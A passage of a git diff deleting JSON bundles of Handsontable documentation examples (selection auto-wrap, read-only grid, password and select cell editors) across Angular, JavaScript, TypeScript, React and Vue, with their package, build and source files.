{\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#exampleReadOnlyGrid\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-features/read-only-cells/vue/exampleReadOnlyGrid.vue","breadcrumb":["Cell Features","Read-only cells"],"guide":"guides/cell-features/read-only-cells/read-only-cells.md","guideTitle":"Read-only cells","exampleId":"exampleReadOnlyGrid","exampleTitle":"Make the grid read-only","docPermalink":"/read-only-cells","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__selection__angular__example6.ts.json b/runner/apps/authoring/public/docs-examples/guides__cell-features__selection__angular__example6.ts.json deleted file mode 100644 index 4c069e8c..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-features__selection__angular__example6.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"angular","displayName":"Cell Features ▸ Selection · Jump across horizontal edges · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component, ViewChild } from '@angular/core';\nimport { GridSettings, HotTableComponent, HotTableModule } from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'example6-selection',\n standalone: true,\n imports: [HotTableModule],\n template: `
    \n
    \n \n \n
    \n

    \n Select a cell, then press Tab or → at the end of a row, or Enter or\n ↓ at the bottom of a column, to see the effect.\n

    \n
    \n
    \n \n
    `,\n})\nexport class AppComponent {\n @ViewChild(HotTableComponent, { static: false }) readonly hotTable!: HotTableComponent;\n\n readonly data = [\n ['SKU-4821', 'Harbor Goods', 'Electronics', 142],\n ['SKU-0093', 'Alpine Supply Co.', 'Apparel', 67],\n ['SKU-2210', 'Harbor Goods', 'Electronics', 0],\n ['SKU-7734', 'Nordic Traders', 'Home Goods', 58],\n ['SKU-1145', 'Alpine Supply Co.', 'Apparel', 213],\n ];\n\n readonly gridSettings: GridSettings = {\n colHeaders: ['SKU', 'Supplier', 'Category', 'Quantity'],\n width: 'auto',\n height: 'auto',\n rowHeaders: true,\n autoWrapRow: true,\n autoWrapCol: true,\n };\n\n toggleAutoWrapRow(event: Event): void {\n this.hotTable?.hotInstance?.updateSettings({ autoWrapRow: (event.target as HTMLInputElement).checked });\n }\n\n toggleAutoWrapCol(event: Event): void {\n this.hotTable?.hotInstance?.updateSettings({ autoWrapCol: (event.target as HTMLInputElement).checked });\n }\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-features/selection/angular/example6.ts","breadcrumb":["Cell Features","Selection"],"guide":"guides/cell-features/selection/selection.md","guideTitle":"Selection","exampleId":"example6","exampleTitle":"Jump across horizontal edges","docPermalink":"/selection","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__selection__javascript__example6.js.json b/runner/apps/authoring/public/docs-examples/guides__cell-features__selection__javascript__example6.js.json deleted file mode 100644 index 27b1b7af..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-features__selection__javascript__example6.js.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"javascript","displayName":"Cell Features ▸ Selection · Jump across horizontal edges · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n
    \n \n \n
    \n

    Select a cell, then press Tab or → at the end of a row, or Enter or ↓ at the bottom of a column, to see the effect.

    \n
    \n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n// Register all Handsontable's modules.\nregisterAllModules();\nconst container = document.querySelector('#example6');\nconst hot = new Handsontable(container, {\n data: [\n ['SKU-4821', 'Harbor Goods', 'Electronics', 142],\n ['SKU-0093', 'Alpine Supply Co.', 'Apparel', 67],\n ['SKU-2210', 'Harbor Goods', 'Electronics', 0],\n ['SKU-7734', 'Nordic Traders', 'Home Goods', 58],\n ['SKU-1145', 'Alpine Supply Co.', 'Apparel', 213],\n ],\n colHeaders: ['SKU', 'Supplier', 'Category', 'Quantity'],\n width: 'auto',\n height: 'auto',\n rowHeaders: true,\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});\nconst autoWrapRowCheckbox = document.querySelector('#auto-wrap-row');\nconst autoWrapColCheckbox = document.querySelector('#auto-wrap-col');\nautoWrapRowCheckbox.addEventListener('change', () => {\n hot.updateSettings({ autoWrapRow: autoWrapRowCheckbox.checked });\n});\nautoWrapColCheckbox.addEventListener('change', () => {\n hot.updateSettings({ autoWrapCol: autoWrapColCheckbox.checked });\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-features/selection/javascript/example6.js","breadcrumb":["Cell Features","Selection"],"guide":"guides/cell-features/selection/selection.md","guideTitle":"Selection","exampleId":"example6","exampleTitle":"Jump across horizontal edges","docPermalink":"/selection","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__selection__javascript__example6.ts.json b/runner/apps/authoring/public/docs-examples/guides__cell-features__selection__javascript__example6.ts.json deleted file mode 100644 index fc5ec6e8..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-features__selection__javascript__example6.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"typescript","displayName":"Cell Features ▸ Selection · Jump across horizontal edges · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n
    \n \n \n
    \n

    Select a cell, then press Tab or → at the end of a row, or Enter or ↓ at the bottom of a column, to see the effect.

    \n
    \n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example6')!;\n\nconst hot = new Handsontable(container, {\n data: [\n ['SKU-4821', 'Harbor Goods', 'Electronics', 142],\n ['SKU-0093', 'Alpine Supply Co.', 'Apparel', 67],\n ['SKU-2210', 'Harbor Goods', 'Electronics', 0],\n ['SKU-7734', 'Nordic Traders', 'Home Goods', 58],\n ['SKU-1145', 'Alpine Supply Co.', 'Apparel', 213],\n ],\n colHeaders: ['SKU', 'Supplier', 'Category', 'Quantity'],\n width: 'auto',\n height: 'auto',\n rowHeaders: true,\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});\n\nconst autoWrapRowCheckbox = document.querySelector('#auto-wrap-row')!;\nconst autoWrapColCheckbox = document.querySelector('#auto-wrap-col')!;\n\nautoWrapRowCheckbox.addEventListener('change', () => {\n hot.updateSettings({ autoWrapRow: autoWrapRowCheckbox.checked });\n});\n\nautoWrapColCheckbox.addEventListener('change', () => {\n hot.updateSettings({ autoWrapCol: autoWrapColCheckbox.checked });\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-features/selection/javascript/example6.ts","breadcrumb":["Cell Features","Selection"],"guide":"guides/cell-features/selection/selection.md","guideTitle":"Selection","exampleId":"example6","exampleTitle":"Jump across horizontal edges","docPermalink":"/selection","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__selection__react__example6.tsx.json b/runner/apps/authoring/public/docs-examples/guides__cell-features__selection__react__example6.tsx.json deleted file mode 100644 index 673aaefd..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-features__selection__react__example6.tsx.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"react","displayName":"Cell Features ▸ Selection · Jump across horizontal edges · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example6\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { useRef, useState } from 'react';\nimport { HotTable, HotTableRef } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n const hotRef = useRef(null);\n const [autoWrapRow, setAutoWrapRow] = useState(true);\n const [autoWrapCol, setAutoWrapCol] = useState(true);\n\n return (\n <>\n
    \n
    \n \n \n
    \n

    \n Select a cell, then press Tab or → at the end of a row, or Enter or{' '}\n ↓ at the bottom of a column, to see the effect.\n

    \n
    \n \n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-features/selection/react/example6.tsx","breadcrumb":["Cell Features","Selection"],"guide":"guides/cell-features/selection/selection.md","guideTitle":"Selection","exampleId":"example6","exampleTitle":"Jump across horizontal edges","docPermalink":"/selection","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__selection__vue__example6.vue.json b/runner/apps/authoring/public/docs-examples/guides__cell-features__selection__vue__example6.vue.json deleted file mode 100644 index 77730fd2..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-features__selection__vue__example6.vue.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"vue","displayName":"Cell Features ▸ Selection · Jump across horizontal edges · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example6\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-features/selection/vue/example6.vue","breadcrumb":["Cell Features","Selection"],"guide":"guides/cell-features/selection/selection.md","guideTitle":"Selection","exampleId":"example6","exampleTitle":"Jump across horizontal edges","docPermalink":"/selection","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-editor__angular__example3.ts.json b/runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-editor__angular__example3.ts.json deleted file mode 100644 index 7fc675f6..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-editor__angular__example3.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"angular","displayName":"Cell Functions ▸ Cell editor · Extending an existing editor · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule } from '@handsontable/angular-wrapper';\nimport { TextEditor } from 'handsontable/editors';\nimport Handsontable from 'handsontable/base';\n\nclass PasswordEditor extends TextEditor {\n override createElements(): void {\n super.createElements();\n\n this.TEXTAREA = this.hot.rootDocument.createElement('input') as HTMLInputElement;\n this.TEXTAREA.setAttribute('type', 'password');\n this.TEXTAREA.setAttribute('data-hot-input', 'true');\n this.textareaStyle = this.TEXTAREA.style;\n this.textareaStyle.width = '0';\n this.textareaStyle.height = '0';\n this.TEXTAREA_PARENT.innerText = '';\n this.TEXTAREA_PARENT.appendChild(this.TEXTAREA);\n }\n}\n\nfunction maskedRenderer(\n _instance: Handsontable.Core,\n td: HTMLTableCellElement,\n _row: number,\n _col: number,\n _prop: string | number,\n value: Handsontable.CellValue\n): HTMLTableCellElement {\n td.innerText = value ? '●●●●●●●●' : '—';\n td.style.letterSpacing = value ? '2px' : 'normal';\n\n return td;\n}\n\n@Component({\n selector: 'example3-cell-editor',\n standalone: true,\n imports: [HotTableModule],\n template: `
    \n \n
    `,\n})\nexport class AppComponent {\n\n readonly gridSettings: GridSettings = {\n data: [\n ['Alice Chen', 'alice@example.com', 'Admin', 'Wh1stl3!2024'],\n ['Bob Garcia', 'bob@example.com', 'Editor', 'P@ssw0rd42'],\n ['Carol Smith', 'carol@example.com', 'Viewer', 'Tr0ub4dor&3'],\n ['Dave Kim', 'dave@example.com', 'Editor', 'c0rrectH0rs3'],\n ['Eve Johnson', 'eve@example.com', 'Admin', 'Sup3rS3cr3t!'],\n ],\n colHeaders: ['Name', 'Email', 'Role', 'Password'],\n columns: [\n { type: 'text' },\n { type: 'text' },\n { type: 'text' },\n { editor: PasswordEditor as typeof TextEditor, renderer: maskedRenderer },\n ],\n colWidths: [130, 190, 70, 130],\n rowHeaders: true,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-functions/cell-editor/angular/example3.ts","breadcrumb":["Cell Functions","Cell editor"],"guide":"guides/cell-functions/cell-editor/cell-editor.md","guideTitle":"Cell editor","exampleId":"example3","exampleTitle":"Extending an existing editor","docPermalink":"/cell-editor","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-editor__javascript__example2.js.json b/runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-editor__javascript__example2.js.json deleted file mode 100644 index c901d179..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-editor__javascript__example2.js.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"javascript","displayName":"Cell Functions ▸ Cell editor · Class-based editors · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport { BaseEditor } from 'handsontable/editors/baseEditor';\nregisterAllModules();\nclass SelectEditor extends BaseEditor {\n init() {\n this.select = this.hot.rootDocument.createElement('SELECT');\n this.select.setAttribute('data-hot-input', 'true');\n this.select.classList.add('htSelectEditor');\n this.select.style.display = 'none';\n this.hot.rootElement.appendChild(this.select);\n }\n prepare(row, col, prop, td, originalValue, cellProperties) {\n super.prepare(row, col, prop, td, originalValue, cellProperties);\n const rawOptions = this.cellProperties.selectOptions ?? [];\n const options = Array.isArray(rawOptions)\n ? Object.fromEntries(rawOptions.map((v) => [v, v]))\n : rawOptions;\n this.select.innerText = '';\n Object.keys(options).forEach((key) => {\n const option = this.hot.rootDocument.createElement('OPTION');\n option.value = key;\n option.innerText = options[key];\n this.select.appendChild(option);\n });\n }\n getValue() {\n return this.select.value;\n }\n setValue(value) {\n this.select.value = value;\n }\n open() {\n const { top, start, width, height } = this.getEditedCellRect();\n const s = this.select.style;\n s.height = `${height}px`;\n s.minWidth = `${width}px`;\n s.top = `${top}px`;\n s[this.hot.isRtl() ? 'right' : 'left'] = `${start}px`;\n s.margin = '0px';\n s.display = '';\n this.addHook('beforeKeyDown', (event) => {\n const { selectedIndex, length } = this.select;\n if (event.keyCode === 38 && selectedIndex > 0) {\n this.select[selectedIndex - 1].selected = true;\n event.preventDefault();\n // block the grid's default arrow-key actions\n return false;\n }\n if (event.keyCode === 40 && selectedIndex < length - 1) {\n this.select[selectedIndex + 1].selected = true;\n event.preventDefault();\n // block the grid's default arrow-key actions\n return false;\n }\n });\n }\n close() {\n this.select.style.display = 'none';\n this.clearHooks();\n }\n focus() {\n this.select.focus();\n }\n}\nconst PRIORITY_COLORS = {\n Low: '#22c55e',\n Medium: '#f59e0b',\n High: '#ef4444',\n Critical: '#7c3aed',\n};\nconst STATUS_COLORS = {\n 'To Do': '#6b7280',\n 'In Progress': '#3b82f6',\n Review: '#f59e0b',\n Done: '#22c55e',\n};\nfunction badgeRenderer(colorMap) {\n return (hotInstance, td, row, col, prop, value) => {\n td.innerText = '';\n if (value) {\n const badge = hotInstance.rootDocument.createElement('span');\n badge.className = 'htSelectBadge';\n badge.style.background = colorMap[value] ?? '#6b7280';\n badge.innerText = value;\n td.appendChild(badge);\n }\n return td;\n };\n}\nconst container = document.querySelector('#example2');\nnew Handsontable(container, {\n data: [\n ['Migrate database schema', 'High', 'In Progress'],\n ['Update API documentation', 'Medium', 'To Do'],\n ['Fix authentication bug', 'Critical', 'Review'],\n ['Add dark mode support', 'Low', 'Done'],\n ['Improve test coverage', 'Medium', 'In Progress'],\n ['Deploy to staging server', 'High', 'To Do'],\n ['Refactor billing module', 'Medium', 'Done'],\n ],\n colHeaders: ['Task', 'Priority', 'Status'],\n columns: [\n { type: 'text' },\n {\n editor: SelectEditor,\n renderer: badgeRenderer(PRIORITY_COLORS),\n selectOptions: ['Low', 'Medium', 'High', 'Critical'],\n },\n {\n editor: SelectEditor,\n renderer: badgeRenderer(STATUS_COLORS),\n selectOptions: ['To Do', 'In Progress', 'Review', 'Done'],\n },\n ],\n colWidths: [220, 110, 130],\n rowHeaders: true,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../styles.css\";\nimport \"../index.js\";","/styles.css":".htSelectEditor {\n /* Enables dimension changes for in WebKit browsers */\n -webkit-appearance: menulist-button !important;\n position: absolute;\n width: auto;\n z-index: 300;\n}\n\n.htSelectBadge {\n display: inline-block;\n padding: 2px 10px;\n border-radius: 10px;\n font-size: 11px;\n font-weight: 600;\n color: #fff;\n letter-spacing: 0.3px;\n white-space: nowrap;\n}"},"docsPath":"guides/cell-functions/cell-editor/javascript/example2.ts","breadcrumb":["Cell Functions","Cell editor"],"guide":"guides/cell-functions/cell-editor/cell-editor.md","guideTitle":"Cell editor","exampleId":"example2","exampleTitle":"Class-based 